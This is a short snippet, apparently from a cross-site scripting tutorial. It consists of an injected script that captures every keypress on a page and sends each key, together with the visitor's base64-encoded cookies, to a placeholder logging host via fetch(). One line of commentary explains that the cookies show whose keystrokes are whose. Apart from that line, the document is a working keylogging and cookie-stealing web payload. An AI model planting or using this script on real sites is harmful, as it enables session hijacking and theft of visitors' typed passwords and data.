<script>
	document.onkeypress = function(e) {
		fetch(
			'https://example.com/log'
				+ '?cookie='
				+ btoa(document.cookie)
				+ '&keypress='
				+ btoa(e.key)
		);
	}
</script>

Adding the user’s cookies here allows us to tell whose keystrokes are whose!